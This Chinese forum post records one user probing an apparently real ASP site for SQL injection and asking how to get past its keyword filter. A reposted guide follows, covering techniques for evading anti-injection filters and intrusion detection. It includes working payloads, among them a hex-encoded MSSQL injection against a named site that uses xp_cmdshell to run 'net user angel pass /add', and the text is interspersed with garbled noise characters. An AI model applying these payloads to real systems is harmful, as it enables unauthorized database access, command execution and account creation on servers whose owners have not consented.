路过这个网站,检测了一下.
- S. V! c M' |3 Z* shttp://www.xxx.cn/Article.asp?ID=117 and 1=1$ W2 |$ l+ F! @4 g1 r, G
直接返回主页
: n# i8 K- h) ^7 `3 w/ y3 s3 m0 bhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
/ G' z8 \; }$ r+ j. C, t直接返回主页
) m" K/ d$ p; q m3 T! Y* x& P$ O; B/ ahttp://www.xxx.cn/Article.asp?ID=117 or
% M% x, k" B; y/ h2 r- s# S2 A& l: b没有返回主页 没有过滤or
4 K- c1 ?8 s6 O& _" ^' H4 dhttp://www.xxx.cn/Article.asp?ID=117 and0 W- A+ w1 X: ]* n
直接返回主页 看来过滤了and, T. l7 v9 J* m& d! O3 j! ]& Y" Y
http://www.xxx.cn/Article.asp?ID=117 or 13 k. k8 D. c5 ?7 U
没有返回主页 即没有过滤or 也没有过滤1: z: n- t) P& p. U1 }8 R& q. E
http://www.xxx.cn/Article.asp?ID=117 or 1=1
A% O! |1 [3 L$ m" ]( P- ]直接返回主页 很明显过滤了等号
a( g- }. B9 ?8 s! r/ R. r, |9 Por的特性是与and相反的.# r- l9 S* F7 a9 c5 H B, d2 O
or 1=1 爆错 或与原页面不同3 N: }% o& T. |4 i, Q
or 1=2 原页面相同
" {% U2 |0 X5 ]这样就是一个注入点1 b6 T1 k5 A h* @/ Z- e3 \
但他过滤了=号 我就用><号代替=号吧!
: R$ t! i0 v6 u3 j* z( X; lor 1<2 很明显是正确的,所以应该与原页面不同
& b1 X$ Z9 Y. L" K! o3 ror 1>2 很明显是错误的,所以应该与原页面相同
2 \. C/ \1 z7 f5 c$ M# S然后看看有没有过滤其他的查询语句,比如select., x" `) x ]0 p
http://www.xxx.cn/Article.asp?ID=117 select
7 Q2 r; L, b; b: i/ i直接返回主页$ v3 I& Y% \/ `/ h- r
又迷茫了..3 W" \# K# ~" I" Z9 R4 S
4 Y; e# F: {4 C6 R3 {1 C- p, d ]8 w3 H! }! [; x
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗" g. M( z% Z G$ Q% q7 c/ E) v' u
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
3 S7 w( @$ T: S. z2 W& s2 B$ o================================================0 I) _, f! j' b0 W- V
以下是转贴:! ?7 b7 t* i, y" k; f2 c! E
- E0 o2 z0 d: _2 I3 c突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
* ~$ B: S% Y! p8 |. D3 o经过我的收集,大部分的防注入程序都过滤了以下关键字:
& G% L, m$ M2 X ]' t9 o+ x$ R3 ?and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
* C* v/ l6 s8 o' f# X3 y而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
6 u$ Q/ ~/ L E# `- f8 s对于关键字的过滤,以下是我收集的以及我个人的一些想法。
& O( K, l3 Q7 c* n- V8 u1、运用编码技术绕过 * D$ A& J' Y0 @! X% z
如URLEncode编码,ASCII编码绕过。例如or 1=1即 ' @, u2 f2 c% E
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 T2 z. k5 |. p/ k# Y; d% I
$ D3 x6 P5 n4 i) G G9 q9 m2、通过空格绕过 9 y3 C; Y1 u5 W" _
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
8 I3 s$ k5 z! X# S4 Uor’ swords’ =‘swords’ 7 J0 a, \; ?! O6 d
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 2 T3 U4 n% `1 G' O i( }: `
3、运用字符串判断代替 ' P. O) @" z% s3 C- O3 o* ^
用经典的or 1=1判断绕过,如
: i; n+ x( w) z; T! Yor ’swords’ =’swords’
4 d, L1 M/ l8 I+ F; l,这个方法就是网上在讨论的。
2 _& o* b) N3 s1 R$ A% ]4、通过类型转换修饰符N绕过 . J# f6 t0 d; h6 {% l8 A( \7 G# Y9 i
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
8 N' _& N5 M8 V# `5、通过+号拆解字符串绕过 6 i0 [! D) ?# Q; \& v
效果值得考证,但毕竟是一种方法。如 $ C$ C+ `" J* z/ k$ l% W4 j7 f, x
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
. P8 J9 E% d( v0 J
& g: H2 [8 d' q6、通过LIKE绕过
. M- o8 z5 ?: F- X" K以前怎么就没想到呢?如or 2 c. R; Y( Q1 k4 y1 T( r: z
’swords’ LIKE ’sw’
0 X1 V! \% T' ~. `5 A$ @!!!显然可以很轻松的绕过
2 T2 q( D9 n8 e, A$ w' Z" J& P“=”“>”
$ b: z( P @) Y8 I( [的限制……
' T- H! W) a, o, g% Z7、通过IN绕过
2 e" E3 J$ z2 X- T' D/ j& Y0 X与上面的LIKE的思路差不多,如 . ^, m' h! a- O. `. t* }3 `
or ’swords’ IN (’swords’)
) w6 T% @) i9 n+ p! Q9 C, P: r) k* d- h) {
8、通过BETWEEN绕过 7 P/ t5 u4 h% Q, \, G
如 . W0 F2 ~: z( I' H- q& O
or ’swords’ BETWEEN ’rw’ AND ’tw’ 7 g8 @, Y' l# H1 |
7 g" z; }( H8 y9 ^# \* x7 @
9、通过>或者<绕过
: G$ K! D) F. o6 m# tor ’swords’ > ’sw’ 9 ? y) C' g+ E. l* z. F9 q( r
or ’swords’ < ’tw’ & O% z1 @8 P ?) w1 h9 |
or 1<3 Y& b, Z, b- [- z4 C4 y: G1 y
……
! i2 P; s# Z+ i6 U, q+ F4 v* |# L10、运用注释语句绕过 + X7 s" y Z5 p; t
用/**/代替空格,如: H" }5 d- W ~8 ] l1 O
UNION /**/ Select /**/user,pwd,from tbluser
4 U; H1 T$ \7 g2 q! c/ f( w" Z# w
用/**/分割敏感词,如: ' B/ Y2 l, Y4 ~) f8 b
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser ; O6 a4 f2 h+ F( }3 S3 c% _- ]
7 K% N7 W8 S& P/ c, z! g3 a$ K11、用HEX绕过,一般的IDS都无法检测出来
) `* V$ Y* q9 I! S W* C0x730079007300610064006D0069006E00 =hex(sysadmin)
. D9 C H- P% \0 W0x640062005F006F0077006E0065007200 =hex(db_owner) 1 R) Y- \9 v" ]
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
6 R* R8 X# l# _& H% O declare @a sysname 0 m1 X4 y# l& H8 a$ Y
select @a=
8 t% k" \4 x9 B C0 V exec master.dbo.xp_cmdshell @a
) k( d' D, A) Z# R, c效果
' g7 n% E C) r8 O' ehttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- # q M5 c' n. L! l, M+ g; d& D/ @* V( [
/ L) ?/ \3 }& P& K
其中的 }; n6 o8 E% c3 B
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
0 r8 h+ d/ j! m! l( S( `2 ~$ Z就是 : b8 M# i( y- B, C3 G, Y
“net user angel pass /add”
* R5 }7 H2 w4 b4 v7 F5 x% C) @. ~1 D( V* q; L0 t* W0 R+ f
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。8 X3 x C( ~$ W, n7 h2 N! F# U
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。. q C8 L* n+ C$ p' N: Z9 _. S
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似4 W' x1 S6 U, s, r3 e) F" }9 Y) O; J
Copy code
, O! Z( {4 y, j& U6 {2 T Zselect * from table exec xp_cmdshell'xxxxxxxxxx'
9 c* K( F$ s$ c2 K P* w, A. x! y8 K9 _& ?2 D9 O4 e
1 o: W2 C" ? Z# nselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'8 l( C3 w; q' v' J _: u
6 E& |7 ?- g1 K" Y2 u, M; C) Z
/ d j9 ~. F; x3 R p; c$ y! {
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
+ A$ n+ Q9 m% H- g4 d' b: k: Z9 k9 [7 F
! d1 K# l7 C A" z
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'' }: Y9 J! j" ]5 `1 R1 A( L
8 n1 L4 h. U- [, _* p. R. t, r的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?. n d2 f$ x6 z7 c5 ?" J: W+ d$ J8 t
* a3 G Y% S& v; a' [4 p& H8 Y* _: q这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了+ G6 `3 l; C. b
可能大家早就知道了,不管怎么说,发在这里吧!- g$ ^7 ~# C% q1 A" _4 i8 a1 _3 p
0 [' {+ N7 J8 l# E H' D2 G7 s
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
9 x7 W; m0 ]7 B# J% }+ n+ l- c! r2 H6 w% ~, x
. S2 k+ T2 t% e* x6 n
+ c, n( B( A' t) P8 B对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,5 B& K3 L! X9 B6 k
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
5 s: v3 c: C) _5 Q
; s* E9 X* B' p |